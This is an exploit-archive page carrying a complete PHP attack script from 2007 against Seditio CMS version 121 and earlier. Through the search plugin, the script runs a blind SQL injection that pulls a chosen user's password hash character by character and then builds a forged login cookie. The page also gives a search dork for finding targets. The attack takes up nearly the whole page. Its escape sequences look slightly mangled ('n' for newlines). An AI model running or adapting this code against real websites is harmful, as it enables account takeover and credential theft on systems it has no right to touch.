[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Seditio CMS <= 121 Remote SQL Injection Exploit
# Published : 2007-11-29
# Author : InATeam
# Previous Title : WebED 0.0.9 (index.php) Remote File Disclosure Vulnerability
# Next Title : KML share 1.1 (region.php layer) Remote File Disclosure Vulnerability
<?php
## Seditio CMS <= 121 Remote SQL Injection Exploit
## Software site: http://www.neocrome.net/
## By InATeam (http://inattack.ru/)
## Requirements: MySQL >= 4.1, magic_quotes_gpc=Off
echo "------------------------------------------------------------n";
echo "Seditio CMS <= 121 Remote SQL Injection Exploitn";
echo "(c)oded by Raz0r, InATeam (http://inattack.ru/)n";
echo "dork: "Powered by Seditio"n";
echo "------------------------------------------------------------n";
if ($argc<2) {
echo "USAGE:n";
echo "~~~~~~n";
echo "php {$argv[0]} [url] OPTIONSnn";
echo "[url] - target server where Seditio CMS is installednn";
echo "OPTIONS:n";
echo "-p=<prefix> - use specific prefix (default sed_)n";
echo "-id=<id> - use specific user id (default 1)nn";
echo "examples:n";
echo "php {$argv[0]} http://site.com/ -p=cms_n";
echo "php {$argv[0]} http://cms.site.com:8080/ -id=2n";
die;
}
error_reporting(0);
set_time_limit(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",10);
$url = $argv[1];
for($i=2;$i<$argc;$i++) {
if(strpos($argv[$i],"=")!==false) {
$exploded=explode("=",$argv[$i]);
if ($exploded[0]=='-p') $prefix = $exploded[1];
if ($exploded[0]=='-id') $id = $exploded[1];
}
}
if (!isset($prefix)) $prefix = "sed_";
if (!isset($id)) $id = 1;
$url_parts = parse_url($url);
$host = $url_parts['host'];
if (isset($url_parts['port'])) $port = $url_parts['port']; else $port = 80;
$path = $url_parts['path'];
print("[~] Connecting... ");
if (!getchar("<1",$i,false)) print("OKn");
else die("n[-] Exploit failedn");
print(" Getting hash...");
$hash='';
for ($i=1; $i<=32; $i++) {
if (!getchar(">57",$i)) {
$min = 48;
$max = 57; }
else {
$min = 97;
$max = 102; }
for($j=$min;$j<=$max;$j++) {
if (getchar("+LIKE+$j",$i)) {
$hash .= chr($j);
break;
}
}
}
print("[+] Done! hash - $hashn");
print("[+] Cookie to log in: nSEDITIO=".base64_encode($id.":_:".$hash.":_:ice")."n");
function getchar($query,$pos,$status=true){
global $host,$path,$prefix,$id;
if ($status) status();
$data = "sq=InATeam&frm_sub%5B%5D=9999&sea_frmtitle=1&sea_frmtext=1&sea_pagtitle=1";
$data.= "&sea_pagdesc=1&sea_pagtext=1&searchin_pag=1&pag_sub%5B%5D=qwerty')";
$data.= "+AND+1=IF(ORD(MID((SELECT+user_password+FROM+{$prefix}users+WHERE";
$data.= "+user_id={$id}),{$pos},1)){$query},1,(SELECT+1+UNION+SELECT+5))/*&x=GUEST";
$packet = "POST {$path}plug.php?e=search&a=search HTTP/1.1rn";
$packet .= "Host: {$host}rn";
$packet .= "Referer: http://{$host}{$path}plug.php?e=search&a=searchrn";
$packet .= "User-Agent: InAttack User Agentrn";
$packet .= "Content-Type: application/x-www-form-urlencodedrn";
$packet .= "Content-Length: ".strlen($data)."rn";
$packet .= "Connection: Closernrn";
$packet .= $data;
return (strpos(send($packet),'Subquery returns more than 1 row')===false) ? true : false;
}
function send($packet) {
global $host,$port;
$ock = fsockopen(gethostbyname($host),$port);
if ($ock) {
fputs($ock, $packet);
$html='';
while (!feof($ock)) $html.=fgets($ock);
}
else die("[-] Exploit failedn");
return $html;
}
function status() {
static $n;
$n++;
if ($n > 3) $n = 0;
if($n==0){ print "r[-]r"; }
if($n==1){ print "r[\]r";}
if($n==2){ print "r[|]r"; }
if($n==3){ print "r[/]r"; }
}
?>
# www.Syue.com [2007-11-29]